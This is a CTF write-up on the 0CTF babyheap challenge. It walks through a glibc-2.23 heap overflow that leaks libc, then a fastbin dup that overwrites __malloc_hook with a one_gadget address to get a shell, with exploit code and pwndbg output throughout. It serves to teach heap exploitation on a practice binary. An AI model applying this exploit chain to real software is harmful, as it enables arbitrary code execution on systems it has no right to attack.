0CTF - BabyHeap

Posted on May 8, 2026

Introduction

I will demonstrate how the fast-bin attack works. The 0ctf’s babyheap challenge will be used to showcase the attack. This CTF is using the glibc-2.23 library.

For both of the files (0ctfbabyheap and libc-2.23.so) we will be dealing with PIE & NX. NX can stop us from executing shellcode in certain memory frames. PIE enabled will allow ASLR to randomize the base addresses. This means we will need an infoleak in order to get a shell.

$ pwn checksec 0ctfbabyheap

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled


$ pwn checksec libc-2.23.so

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

Prerequiste Information

What is a fastbin?

When memory is freed on the heap, it is pushed into its respective bins. The fastbin is used to store freed chunks of size 0x20 to 0x80. The mallopt function can be used to change this number because we can modify the global_fast_max variable.

After the chunk is freed and placed in the fast bin, the first 8 bytes of memory are used to hold the size which is followed by a FD that points to the next item in the linked list. Your chunks in memory would then look like this.

Example

What is an arena?

Arenas are structures that are mainly made up of bins and are used to recycle free chunks of memory. Here is a layout of an arena, each one of these hold the memory address to the start of the bins or other important information:

alt text

Obtaining The Infoleak

ASLR (Address Space Layout Randomisation) is switched on for this challenge. In order to write our exploit we need an infoleak first.

unsortedBinChunk = 0xa0
fastbinChunk = 0x60
overFlowSize = fastbinChunk + 16
padding = 0x30

alloc(unsortedBinChunk) # Chunk 0
alloc(fastbinChunk) # Chunk 1
alloc(unsortedBinChunk) # Chunk 2
alloc(padding) # Chunk 3

alt text

Why are we sending chunks to the unsorted bin?

The unsorted bin plays an important role in the address leak. When a chunk in an unsorted bin is freed it has FD & BK pointer checks that need to be satisfied. We will discuss these checks later in the post.

Chunks in the unsorted bin are stored as doubly linked lists so they need two pointers (forward and backward). Initially since there is only one chunk in the unsorted bin, they point to the head of the unsorted bin. This address is also in the main arena as shown in the diagram referencing arenas. We can verify which stack frame this address is currently in.

pwndbg> info proc mappings
process 348069
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x16d39abf8000     0x16d39abf9000     0x1000        0x0  rw-p   
      0x720496e00000     0x720496fc0000   0x1c0000        0x0  r-xp   /0ctf_babyheap/libc-2.23.so
      0x720496fc0000     0x7204971c0000   0x200000   0x1c0000  ---p   /0ctf_babyheap/libc-2.23.so
      0x7204971c0000     0x7204971c4000     0x4000   0x1c0000  r--p   /0ctf_babyheap/libc-2.23.so
      0x7204971c4000     0x7204971c6000     0x2000   0x1c4000  rw-p   /0ctf_babyheap/libc-2.23.so
      0x7204971c6000     0x7204971ca000     0x4000        0x0  rw-p   
      0x720497200000     0x720497202000     0x2000        0x0  r-xp   /0ctf_babyheap/0ctfbabyheap
      0x720497202000     0x720497401000   0x1ff000     0x2000  ---p   /0ctf_babyheap/0ctfbabyheap
      0x720497401000     0x720497402000     0x1000     0x1000  r--p   /0ctf_babyheap/0ctfbabyheap
      0x720497402000     0x720497403000     0x1000     0x2000  rw-p   /0ctf_babyheap/0ctfbabyheap
      0x720497600000     0x720497626000    0x26000        0x0  r-xp   /0ctf_babyheap/ld-2.23.so
      0x720497825000     0x720497826000     0x1000    0x25000  r--p   /0ctf_babyheap/ld-2.23.so
      0x720497826000     0x720497827000     0x1000    0x26000  rw-p   /0ctf_babyheap/ld-2.23.so
      0x720497827000     0x720497828000     0x1000        0x0  rw-p   
      0x72049792b000     0x72049792e000     0x3000        0x0  rw-p   
      0x72049792e000     0x720497932000     0x4000        0x0  r--p   [vvar]
      0x720497932000     0x720497934000     0x2000        0x0  r--p   [vvar_vclock]
      0x720497934000     0x720497936000     0x2000        0x0  r-xp   [vdso]
      0x7ffd779ce000     0x7ffd779ef000    0x21000        0x0  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]

This image shows us that the stack frame is in (range). An infoleak of the FD & BK pointers allow us to get the base address of libc.

We can free the first two chunks, the first chunk will go into the unsorted bin and the second chunk will go into the fastbin.

free(0) # Chunk 0
free(1) # Chunk 1

alt text

The 0x60 chunk will be placed into the 0x70 fast bin since glibc-2.23 adds a header. This header consists of a prev-size field, the size of the chunk and the prev in use. Our CTF runs in a 64 bit binary so the header is 0x10 bytes.

$ file 0ctfbabyheap

0ctfbabyheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped

(include photo here)

Now when we reallocate the memory we will request 0x60 and get back the same piece of memory that was allocated in the fastbin (0x70).

This will now become “index 0” in the program.

alloc(fastbinChunk) # Chunk 0
fill(0, overFlowSize, b"A" * fastbinChunk + p64(0x120) + p64(0xb0))

alt text

The program has a heap overflow bug which allows us to overwrite into the next chunk. We can change the prev_size and prev_in_use. Overwriting the header for chunk 2 it will merge the two free chunks together.

Lets free chunk two.

free(2) # Chunk 2

alt text

When we overflowed chunk 2’s prev_chunk_size and prev_in_use. We forced it to conduct backward consolidation. Here is a snippet of the code from the free function.

size = chunksize (p);
      ....
      ....
      ....
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

This takes the size of the previous chunk and uses chunk_at_offset to walk back 0x120 bytes from the chunk 2. Afterwards which the unlink function is called. Chunks will be merged using the unlink function which has a mitigation. One is the if (__builtin_expect (fd->bk != p || bk->fd != p, 0)). This mitigation has already been taken take of since our FD and BK pointers are pointing to the head of the unsorted bin.

At this stage the program thinks that the first three chunks are all one big chunk. But we know that the middle chunk is not free and we can still read its values from the program.

We need to read the fd and bk pointers since they are located inside of libc. Request another 0xf0 bytes.

alloc(unsortedBinChunk) # Chunk 1

alt text

After this request, chunk 0, onwards become the free memory inside of the unsorted bin. Even though the middle chunk was not free, it is treated as such. It will now contain the new pointers for fd and bk.

We can use the program to print out these values thus leaking the libc address.

The fastbin attack

The fastbin attack requires a UAF (Use-After-Free) vulnerability to be present. We will bypass the two mitigations in our exploitation.

Exploitation

At the current stage we have one aspect of the UAF with us. We know the heap thinks that chunk 0 is free even though we can still access it. We want two “pointers” to the memory chunk 0 is pointing too. The first pointer needs to be in the fastbin showing that our memory is freed. The second pointer needs to be able to write to the memory, specifically the address holding the FD (pointer to the next chunk).

We need to focus on obtaining the second pointer so we can overwrite the FD pointer.

Mitigation 1

/* Check that the top of the bin is not the record we are going to add
    (i.e., double free).  */
if (__builtin_expect (old == p, 0))
  {
    errstr = "double free or corruption (fasttop)";
    goto errout;
  }

Mitigation 2

This is checking that the size field of the chunk malloc is about to allocate is the same as the size of the fastbin its being allocated from.

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";
  errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
  }

We need to create a fake chunk that will satisfy those mitigations above. Our memory does need to be aligned since malloc does not check for alignment. It also does not check the flags so in our exploit a fake chunk with a 0x00007 size will still work. Furthermore, when it allocated the memory into the fastbin it does not check for the flags.

Lets start by creating a fake chunk. In order to do this we will overwrite one of the hooks. A hook in this scenario is a function pointer to a function. In our ctfs there are two functions of interest, malloc and free.

Use the p (void*) &__free_hook to locate the __free_hook.

pwndbg> p (void*) &__free_hook
$1 = (void *) 0x7204971c67a8 <__free_hook>

Now if we look at all the addresses above our __free_hook (insert address here) address. We notice that the addresses are filled with zeros.

pwndbg> x/10gx 0x7204971c6770
0x7204971c6770:	0x0000000000000000	0x0000000000000000
0x7204971c6780:	0x0000000000000000	0x0000000000000000
0x7204971c6790:	0x0000000000000000	0x0000000000000000
0x7204971c67a0 <__after_morecore_hook>:	0x0000000000000000	0x0000000000000000
0x7204971c67b0 <__malloc_initialize_hook>:	0x0000000000000000	0x0000000000000000

The issue with overwriting the __free_hook_ is that we cannot find an appropriate fake chunk near its address.

If we do the same with the __malloc_hook the results are quite the opposite.

pwndbg> p (void*) &__malloc_hook
$2 = (void *) 0x7204971c4b10 <__malloc_hook>

Here I have several addresses that can be used to create a fake chunk.

pwndbg> x/10gx 0x7204971c4ae0
0x7204971c4ae0:	0x0000000000000000	0x0000000000000000
0x7204971c4af0:	0x00007204971c3260	0x0000000000000000
0x7204971c4b00 <__memalign_hook>:	0x0000720496e85e20	0x0000720496e85a00
0x7204971c4b10 <__malloc_hook>:	0x0000720496e85830	0x0000000000000000
0x7204971c4b20:	0x0000000000000000	0x0000000000000000

Ideally I want the address size field to start like this 0x000000000000007x, the last nibble could be a number or letter. That does not matter here since malloc does not check the flag. We can look at the last 8 bytes of this address is 0x0000000000000076. Since we are not freeing any memory, the last nibble commonly known as the prev_in_use flag does not get checked.

pwndbg> db 0x7204971c4aed
00007204971c4aed     00 00 00 60 32 1c 97 04 72 00 00 00 00 00 00 00
00007204971c4afd     00 00 00 20 5e e8 96 04 72 00 00 00 5a e8 96 04
00007204971c4b0d     72 00 00 30 58 e8 96 04 72 00 00 00 00 00 00 00
00007204971c4b1d     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Lets store the fake chunk’s starting point.

mallocHookAddress = int(libcBaseAddress,16) + libc.symbols['__malloc_hook']
fakeChunk 		    = mallocHookAddress - 0x23

Our fake chunks allows us to bypass the second mitigation of the glib-2.23 fastbin. The 0x7 size is also the primary reason why created our chunk sizes to be 0x60 since after adding the header content it would belong in the 0x70 fastbin.

Now lets proceed to the next step. Obtaining the UAF vulnerability in our program. From our infoleak earlier, we left the stack in this state:

alt text

We can make two chunks overlap the same piece of memory. In order to achieve this, we will break down the memory used for chunk 1 into several different sections.

alt text

free(1)

alloc(0x30) # Chunk 1
alloc(0x60) # Chunk 2
alloc(0x60) # Chunk 4
alloc(0x60) # Chunk 5

alt text

Chunk 4 and chunk 0 will be pointing to the same piece of memory.

This achieves a key objective. We have two pointers at the same memory where we stored chunk 0. If we free the memory at chunk 0 in our program, we can still use another index to overwrite the FD pointer in that chunk.

By freeing chunks 5, 4, 2 and 0 (in this order) we can bypass the first mitigation. It allows our fastbin to add the same chunk twice with crashing since they are not adjacent to each other.

free(5)
free(4)
free(2)
free(0)

alt text

Now in order to overwrite the __malloc_hook, we can use the fake chunk we created earlier. We will request back chunk 0 and 2. Then overwrite the FD pointer in chunk 0 with the fake chunk address. The fake chunk is pointing to memory a 0x23 above the __malloc_hook. Next time we request the chunk 5 memory of size 0x60, we can attempt to overwrite the __malloc_hook.

alloc(0x60) # Chunk 0
fill(0, 8, p64(fakeChunk))
alloc(0x60) # Chunk 2

alt text

Using one gadget we see that the shell can be triggered by using an offset of 0x4526a. We can pad up the first 0x13 bytes and then overwrite the malloc hook.

alloc(0x60) # Chunk 4
alloc(0x60) # Fake Chunk (Chunk 5), _malloc_hook chunk
fill(5, 0x1b, b"A" * 0x13 + p64(int(libcBaseAddress, 16) + 0x4526a))

To trigger the shell we can call the alloc function again and this time instead of malloc our shell will be called instead.

# Trigger a Malloc call to trigger the malloc hook, and pop a shell
alloc(0x20)

Possible Mitigations for future

Some possible mitigations for the future can include making glibc check for allocated memory between the two chunks being merged. This can be followed up with, checking for duplicate addresses in the fastbin to mitigate a fastbin dupe. This mitigation could increase the speed of the program due to time complexity issues with searching through a linked list.

References:

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c

https://github.com/shellphish/how2heap/blob/master/glibc_2.23/fastbin_dup.c